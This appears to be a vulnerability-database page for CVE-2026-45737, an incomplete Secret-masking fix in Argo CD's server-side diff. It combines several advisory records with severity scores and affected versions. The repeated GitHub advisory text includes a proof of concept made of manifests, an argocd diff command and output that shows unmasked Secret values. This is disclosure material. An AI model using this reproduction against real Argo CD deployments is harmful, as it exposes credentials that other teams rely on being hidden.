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CVE-2026-45737

Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations

6.3 MediumFix available

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 3.2.0 until 3.2.12, 3.3.10, and 3.4.2, Argo CD ServerSideDiff can expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation because HideSecretData(target, live, ...) does not fully sanitize ResourceDiff.TargetState and LiveState predicted live Secret objects, allowing sensitive data, stringData, and annotations to appear in UI or CLI diffs. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.52%Up 0.5 points since Jun 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.3

Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 3.2.0 until 3.2.12, 3.3.10, and 3.4.2, Argo CD ServerSideDiff can expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation because HideSecretData(target, live, ...) does not fully sanitize ResourceDiff.TargetState and LiveState predicted live Secret objects, allowing sensitive data, stringData, and annotations to appear in UI or CLI diffs. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Record
CVE-2026-45737
CVSS 3.1
6.3 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-200, CWE-212
Updated
2026-11-02
EUVDEUVD-2026-44792 6.3

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 3.2.0 until 3.2.12, 3.3.10, and 3.4.2, Argo CD ServerSideDiff can expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation because HideSecretData(target, live, ...) does not fully sanitize ResourceDiff.TargetState and LiveState predicted live Secret objects, allowing sensitive data, stringData, and annotations to appear in UI or CLI diffs. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Record
EUVD-2026-44792
CVSS 3.1
6.3 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-rg3g-4rw9-gqrp 6.3

Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations

Summary

The original fix for GHSA-3v3m-wc6v-x4x3 is incomplete. argocd app diff --server-side-diff can still expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation.

The prior fix masks top-level Secret data in ServerSideDiff responses, but it does not fully sanitize Secret data stored inside the last-applied-configuration annotation. If a Secret was previously created or updated using client-side apply, that annotation may contain raw data, stringData, and sensitive annotations. These values can be shown in UI/CLI diffs.

Details

The ServerSideDiff endpoint returns ResourceDiff.TargetState / LiveState based on server-side dry-run output. Kubernetes server-side dry-run can return a full predicted live Secret object that carries forward existing live annotations, including:

kubectl.kubernetes.io/last-applied-configuration For Secrets created with client-side apply, that annotation can contain a JSON-serialized Secret manifest with sensitive values.

The masking path calls HideSecretData(target, live, ...). However, HideSecretData only rewrites the last-applied annotation on the second argument (live). In server-side diff, the first argument can be predictedLive, not a clean Git target. predictedLive can also contain kubectl.kubernetes.io/last-applied-configuration, so the first object’s embedded annotation can remain unmasked.

PoC

Create an app containing this Secret manifest:

apiVersion: v1
kind: Namespace
metadata:
  name: last-applied-secret-repro
---
apiVersion: v1
kind: Secret
metadata:
  name: secret
  namespace: last-applied-secret-repro
  annotations:
    app: test
    token: SECRETVAL
type: Opaque
data:
  password: U0VDUkVUVkFM
  username: U0VDUkVUVkFM

Create and Sync Argo App

apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: last-applied-secret-repro
  namespace: argocd
  annotations:
    argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
spec:
  project: default
  destination:
    server: https://kubernetes.default.svc
    namespace: last-applied-secret-repro
  source:
    repoURL: https://github.com/YOUR_ORG/YOUR_REPO.git
    targetRevision: HEAD
    path: last-applied-secret-repro
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
    syncOptions:
      - CreateNamespace=true
      - ServerSideApply=true

Run argo cd app diff argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false

❯ argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false

===== /Secret last-applied-secret-repro/secret ======
10c10,11
<     kubectl.kubernetes.io/last-applied-configuration: '{"apiVersion":"v1","data":{"password":"++++++++","username":"++++++++"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}'
---
>     kubectl.kubernetes.io/last-applied-configuration: |
>       {"apiVersion":"v1","data":{"password":"U0VDUkVUVkFM","username":"U0VDUkVUVkFM"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}

The secret value can be seen inside the diff

Impact

Authenticated Argo CD users who can view application diffs may be able to read Secret values that should be masked.

Impacted values include: Secret data embedded in kubectl.kubernetes.io/last-applied-configuration

Record
GHSA-rg3g-4rw9-gqrp
CVSS 3.1
6.3 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-200, CWE-212
Updated
2026-11-02
NVD 6.3

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 3.2.0 until 3.2.12, 3.3.10, and 3.4.2, Argo CD ServerSideDiff can expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation because HideSecretData(target, live, ...) does not fully sanitize ResourceDiff.TargetState and LiveState predicted live Secret objects, allowing sensitive data, stringData, and annotations to appear in UI or CLI diffs. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Record
CVE-2026-45737
CVSS 3.1
6.3 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-200, CWE-212
Updated
2026-11-02
OSV 6.3

Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 3.2.0 until 3.2.12, 3.3.10, and 3.4.2, Argo CD ServerSideDiff can expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation because HideSecretData(target, live, ...) does not fully sanitize ResourceDiff.TargetState and LiveState predicted live Secret objects, allowing sensitive data, stringData, and annotations to appear in UI or CLI diffs. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Record
CVE-2026-45737
CVSS 3.1
6.3 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-200, CWE-212
Updated
2026-11-05
OSVGHSA-rg3g-4rw9-gqrp 6.3

Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations

Summary

The original fix for GHSA-3v3m-wc6v-x4x3 is incomplete. argocd app diff --server-side-diff can still expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation.

The prior fix masks top-level Secret data in ServerSideDiff responses, but it does not fully sanitize Secret data stored inside the last-applied-configuration annotation. If a Secret was previously created or updated using client-side apply, that annotation may contain raw data, stringData, and sensitive annotations. These values can be shown in UI/CLI diffs.

Details

The ServerSideDiff endpoint returns ResourceDiff.TargetState / LiveState based on server-side dry-run output. Kubernetes server-side dry-run can return a full predicted live Secret object that carries forward existing live annotations, including:

kubectl.kubernetes.io/last-applied-configuration For Secrets created with client-side apply, that annotation can contain a JSON-serialized Secret manifest with sensitive values.

The masking path calls HideSecretData(target, live, ...). However, HideSecretData only rewrites the last-applied annotation on the second argument (live). In server-side diff, the first argument can be predictedLive, not a clean Git target. predictedLive can also contain kubectl.kubernetes.io/last-applied-configuration, so the first object’s embedded annotation can remain unmasked.

PoC

Create an app containing this Secret manifest:

apiVersion: v1
kind: Namespace
metadata:
  name: last-applied-secret-repro
---
apiVersion: v1
kind: Secret
metadata:
  name: secret
  namespace: last-applied-secret-repro
  annotations:
    app: test
    token: SECRETVAL
type: Opaque
data:
  password: U0VDUkVUVkFM
  username: U0VDUkVUVkFM

Create and Sync Argo App

apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: last-applied-secret-repro
  namespace: argocd
  annotations:
    argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
spec:
  project: default
  destination:
    server: https://kubernetes.default.svc
    namespace: last-applied-secret-repro
  source:
    repoURL: https://github.com/YOUR_ORG/YOUR_REPO.git
    targetRevision: HEAD
    path: last-applied-secret-repro
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
    syncOptions:
      - CreateNamespace=true
      - ServerSideApply=true

Run argo cd app diff argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false

❯ argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false

===== /Secret last-applied-secret-repro/secret ======
10c10,11
<     kubectl.kubernetes.io/last-applied-configuration: '{"apiVersion":"v1","data":{"password":"++++++++","username":"++++++++"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}'
---
>     kubectl.kubernetes.io/last-applied-configuration: |
>       {"apiVersion":"v1","data":{"password":"U0VDUkVUVkFM","username":"U0VDUkVUVkFM"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}

The secret value can be seen inside the diff

Impact

Authenticated Argo CD users who can view application diffs may be able to read Secret values that should be masked.

Impacted values include: Secret data embedded in kubectl.kubernetes.io/last-applied-configuration

Record
GHSA-rg3g-4rw9-gqrp
CVSS 3.1
6.3 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-200, CWE-212
Updated
2026-11-02
OSVBIT-argo-cd-2026-45737 No score

Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 3.2.0 until 3.2.12, 3.3.10, and 3.4.2, Argo CD ServerSideDiff can expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation because HideSecretData(target, live, ...) does not fully sanitize ResourceDiff.TargetState and LiveState predicted live Secret objects, allowing sensitive data, stringData, and annotations to appear in UI or CLI diffs. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Record
BIT-argo-cd-2026-45737
Updated
2026-11-02
OSVGO-2026-5618 No score

Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations in github.com/argoproj/argo-cd

Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations in github.com/argoproj/argo-cd

Record
GO-2026-5618
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/argoproj/argo-cd/v3
Go
 3.2.0 to 3.2.11
3.2.12
github.com/argoproj/argo-cd/v3
Go
 3.3.0-rc1 to 3.3.9
3.3.10
github.com/argoproj/argo-cd/v3
Go
 3.4.0-rc1 to 3.4.1
3.4.2
argo-cd
Bitnami
 3.2.0 up to 3.2.12, 3.3.9 up to 3.3.10, 3.4.1 up to 3.4.2
3.2.123.3.103.4.2
github.com/argoproj/argo-cd/v3
Go
 3.2.0 up to 3.2.12
3.2.12
github.com/argoproj/argo-cd/v3
Go
 3.3.0-rc1 up to 3.3.10
3.3.10
github.com/argoproj/argo-cd/v3
Go
 3.4.0-rc1 up to 3.4.2
3.4.2
github.com/argoproj/argo-cd
Go
 All versions None known
github.com/argoproj/argo-cd/v2
Go
 All versions None known
github.com/argoproj/argo-cd/v3
Go
 3.2.0 up to 3.2.12, 3.3.0-rc1 up to 3.3.10, 3.4.0-rc1 up to 3.4.2
3.2.123.3.103.4.2
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

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In short

CVE-2026-45737 is a medium vulnerability (CVSS 6.3) in Argoproj Argo Cd, published May 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.52%, the 44th percentile. Fixed in github.com/argoproj/argo-cd/v3 3.2.12.

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